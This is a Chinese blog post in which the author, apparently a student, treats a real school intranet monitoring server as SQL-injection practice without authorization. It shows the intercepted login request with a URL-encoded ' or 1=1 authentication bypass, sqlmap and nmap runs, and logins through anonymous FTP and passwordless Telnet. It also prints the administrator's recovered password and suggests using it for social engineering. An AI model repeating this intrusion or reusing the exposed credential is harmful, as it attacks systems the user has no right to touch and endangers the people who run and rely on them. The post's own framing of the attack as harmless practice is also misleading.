avatar

Catalog
SQL注入之校园监控器

由于是在学校内网中,并且对所造成的危害貌似【并不】很严重!

一些敏感信息俺也懒得打马了 :)

主要是为俺对 SQL 注入以及 sqlmap 工具的使用、练习。

0x00 前言

原本俺在备赛练习 SQL 注入相关习题中;在此墙裂推荐一个【系统性】练习 SQL 注入的靶场!

SQLI-LABS

Github:https://github.com/Audi-1/sqli-labs

部署靶场环境也不需要那么麻烦;比如说俺直接使用 docker 两条命令的事。

# docker pull acgpiano/sqli-labs
# docker run -it -d -p 8080:80 acgpiano/sqli-labs

当然你可以到俺收集的 Lab 页面找到公网上别人搭建好的这个靶场。

其实,并不推荐使用别人的靶机;因为局限性是你无法直接使用其系统,这就会导致你无法完成一些操作,比如阅读、修改源码加固系统

更不要在刚开始学的时候,就拿公网上别人公司服务器来搞!

  • 可能并不那么好找不到,这会打击信心。
  • 可能造成无法挽回的损失,法律纠纷。
  • 这确实很不道德!

0x01 步入正题

但是俺怎么会就局限于靶机捏?遂就拿身边发现的学校一台 Web 服务器来练手;前面胡扯了一大堆废话,接下来真正到了渗透时刻!!!

监控系统

首先,不得不说的是目标 Web 服务仅仅只是个【监控系统】;这也说明了即使将其攻破,危害性并不大;而究竟是监控啥的,后面等进去了再说 :)

登录截包注入

先在用户名提交框中输入一个单引号 ',看看 Web Application 返回的响应;

如下图,发现已经出现【报错】了。并且 URL 框没有任何变化,初步判断这里有存在 POST 类型注入的可能性!

在此,直接使用 BurpSuite 来截取登录的数据包。

POST /user_cs.asp?type=login HTTP/1.1
Host: 192.168.252.10
Content-Length: 32
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://192.168.252.10
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.252.10/
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-CN;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

username=admin&password=MTIzNDU2

可以发现确实是 POST 方式提交数据 ;原本输入的密码123456被编码成了MTIzNDU2。然并卵!就被进行了一次 base64 编码。其实这里无所谓了。

直接尝试注入万能密码 ' or 1=1 -- +来进行登录,经过不断尝试,参数username安全,但【password】就存在注入了。

首先先对万能密码 ' or 1=1 -- +进行 URL 编码,编码后就是这%20%27%20%6f%72%20%31%3d%31%20%2d%2d%20%2b么一长串。

然后使用 BurpSuite 将数据包发出去,返回浏览器界面而发现已经登录进去了。

POST /user_cs.asp?type=login HTTP/1.1
Host: 192.168.252.10
Content-Length: 32
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://192.168.252.10
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.252.10/
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-CN;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

username=admin&password=MTIzNDU2%20%27%20%6f%72%20%31%3d%31%20%2d%2d%20%2b

SQLMAP

将最原始的那个 POST 数据包保存到本地的一个文件post.txt里,尝试使用工具来注入。

# sqlmap -r post.txt -p 'password' --random-agent
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.3.10#stable}
|_ -| . [.]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[*] starting @ 14:16:53 /2019-10-14/

[14:16:53] [CRITICAL] specified HTTP request file 'post.txt' does not exist

[*] ending @ 14:16:53 /2019-10-14/

出现错误 specified HTTP request file ‘post.txt’ does not exist,原因是找不到此文件;这里的解决方法就是,得将这个文件放入sqlmap的安装根目录,例如 Kali/usr/share/sqlmap/Arch/opt/sqlmap/ 中。

再来……

# sqlmap -r post.txt -p 'password' --random-agent
[14:27:16] [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s)
[14:27:16] [CRITICAL] connection dropped or unknown HTTP status code received
……………………
……………………
[14:27:35] [WARNING] POST parameter 'password' does not seem to be injectable

再次使用 URL 方式跑……

# sqlmap -u "http://192.168.252.10/user_cs.asp?type=login" --data="username=admin&password=MTIzNDU2" -p "password" --random-agent 

报错和上面一样,反正也不行,这个 Web Application 着实奇怪,后端数据库使用的是SQLite。这种数据库不是一个【客户端/服务器】结构的数据库引擎,而是被集成在用户程序中;不太懂。

POST 提交表单后,如果登录不成功,就回到登录页面;成功会 GET 请求几个页面,然后进去。

无奈! sqlmap 白拿出来用了,这个登录界面只能【手动注入】……

一点小收获

此时只能通过手动注入登录进去,进去后才发现这貌似仅只是个环境监控系统

而在右上角设置页面发现了页面缓存。F12打开【开发者工具】,将type=password修改为type=text,如下发现管理员的【浪漫密码】以及【电话号码】,管理员的【密码习惯】以及【联系方式】被暴露会引发后续的【社会工程学】攻击。

yangyao520

当然对于社会工程学,俺学疏才浅,在这里就此搁浅了;

而这个 Web 应用;就目前来说,俺就发现了一个登录界面的注入。

俺也不想再去【黑盒审计】了。就酱紫~~:(

0x02 后续

针对主机层面的扫描……

sudo nmap -n -sS -sV -T4 -O 192.168.252.10
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-14 14:59 CST
Nmap scan report for 192.168.252.10
Host is up (0.0038s latency).
Not shown: 993 closed ports
PORT    STATE    SERVICE      VERSION
21/tcp  open     ftp          oftpd
23/tcp  open     telnet       Pocket CMD telnetd
80/tcp  open     http         ChipPC Extreme httpd
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
443/tcp open     tcpwrapped
445/tcp filtered microsoft-ds

Service Info: OSs: Unix, Windows CE 5.0; CPE: cpe:/o:microsoft:windows_ce

操作系统

这里的操作系统应该是 Windows CE 5.0,微软研发的【嵌入式】操作系统。详见其 Wikipedia

FTP

额!这里的 FTP 允许匿名登录;Name得随便写一个,Password随便输入。就这样子进去了 :)

# ftp 192.168.252.10
Connected to 192.168.252.10.
220 Service ready for new user.
Name (192.168.252.10:f4n9x): f4n9x@gmail.com
331 User name okay, need password.
Password: 
230 User logged in, proceed.
Remote system type is Windows_CE.
ftp> 

TELNET

这里更奇葩!Telnet 也是无密码连接;直接登录、控制系统 :)

# telnet 192.168.252.10
Trying 192.168.252.10...
Connected to 192.168.252.10.
Escape character is '^]'.
Welcome to the Windows CE Telnet Service on WindowsCE
Pocket CMD v 5.0
\> help
以下命令可用:
    ATTRIB    设置/显示文件属性。
    CALL    调用批处理脚本。
    CD    更改目录。
    DATE    显示/设置系统日期。
    DEL    删除文件。
    DIR    打印目录内容。
    …………………………
    SET    设置或列出环境变量。
    SHIFT    批处理文件的 Shift 参数。
    START    启动分离进程。
    TIME    显示/更改系统时间。
    TITLE    设置 CMD.EXE 会话的窗口标题。
    TYPE    将文件内容输出到屏幕。
使用 HELP [命令名]显示给定命令的扩展帮助,或使用 
HELP CMD 显示常规主题(如
命令输入选项、I/O 重定向或 CMD 参数)的帮助。 

无 FUCK 说

哎!我连【反弹木马】都懒得传上去了。担心系统性能不高,弄不好蓝屏就叽叽了。

溜了、溜了……

Author: F4n9X
Link: https://fanqxu.github.io/2019/10/14/SQLi-FirstTest/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.

Comment